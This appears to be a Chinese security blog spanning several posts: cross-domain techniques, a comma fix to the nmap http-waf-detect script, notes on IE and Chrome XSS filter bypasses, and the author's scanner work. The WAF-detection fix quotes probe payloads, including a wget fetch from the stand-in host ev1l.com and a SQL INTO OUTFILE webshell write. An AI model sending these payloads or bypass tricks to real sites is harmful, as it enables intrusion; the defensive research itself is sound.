https://github.com/colorhook/crossdomain,源码。

还有一群程序员在讨论这些:http://www.iteye.com/topic/897253,我忘记是knownsec谁或者其他人分享我的了。总结还不错。还有一些,比如html5里牛逼的websocket技术,直接跨域,持久连接,在客户端层面html5的postMessage已经很帅了。这些本是为了满足程序员欲望的hacking,也满足了我们更邪恶的hacking。。

如果要说还有一些跨域的,那就是各位牛手里的0day了。

麻烦而有意思,最近好像经常在接触这一问题。

一个人的思考层面能很大影响一个人的未来形态。很多事别人认为你完成不了,你不是谁谁谁的时候,本来就不应该是谁谁谁。不用过多口水。我们需要一个牛人的姿态:给我一个支点,我能翘起地球。

http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse

测试了下有个bug会引起执行失败:

“?p4yl04d=<img src=”x” alt=”” />”, “?p4yl04d=wget http://ev1l.com/xpl01t.txt”
“?p4yl04d=UNION SELECT ”,2,3 INTO OUTFILE ‘/var/www/w3bsh3ll.php’ –“}

改为

“?p4yl04d=<img src=”x” alt=”” />”, “?p4yl04d=wget http://ev1l.com/xpl01t.txt”,
“?p4yl04d=UNION SELECT ”,2,3 INTO OUTFILE ‘/var/www/w3bsh3ll.php’ –“}

少一个逗号- -。

效果出来了,原理很简单,部署WAF的网站,发送一些网站本身不包含的一些参数键值对,网站一般情况下不会出现任何异常,而WAF会报警,响应会出现差异。基于这些差异进行判断就行。不过这个nse脚本判断机制似乎太简单了。

前几天knownsec sogili同学发现ie xss filter一个有意思的bypass,又是一种差异性导致的xss,这次是服务端语言的问题。除了这个,ie还有一个特性,判断origin是否来自本域,是的话,xss filter无效。

昨天研究下chrome xss filter,和ie的机制不太一样,表面看是不做替换,这只是表象而已,实际上chrome会对响应回的HTML做一次规范化,这个过程会判断get请求是否有潜在的xss exp,如果有,输出规范化就会做出各种过滤修改等。只是你直接查看源码是看不到的,可以配合F12,好好看看规范化之后的行为,这个技巧对于我们进行漏洞挖掘非常有利。

除了chrome F12可以看到真实的HTML,其他浏览器呢?通过DOM技巧就行:

javascript:alert(document.getElementsByTagName(‘body’)[0].innerHTML)

这样有什么好处?有利于我们判断浏览器的规范化行为,并进一步找出规范化差异或bugs,也许一个能bypass很多网站过滤器的exp就这样被我们找到,这个过程其实是可以写成一个基于浏览器的fuzzing工具的:P
Continue reading

接手Web扫描器我发现有11个月了,新的架构是我在今年4月写出来的,到现在几乎快半年,这个架构目前让我很放心,插件化非常简单,各层数据流很清晰。然后忙各种事,信口答应可以超越ibm appscan,可是扫描器定位不一样,虽然大家共识是这样,可我还是很不满意,比如我不满意爬虫,不满意各个核心的漏洞检测插件,还未真的高潮,我就要放手去做防御了。

也好,让我脱离出各种琐事,各种宏观上的(如架构、框架)。我可以花更多精力深入核心去做研究,这样我也许能逐步加强各种规则+核心插件,预研一些更高端的技术。

这些需要勇气。做吧。今天防御组在公司加班学习。:P对了,我这个博客转移到更快的空间了,thx knownsec.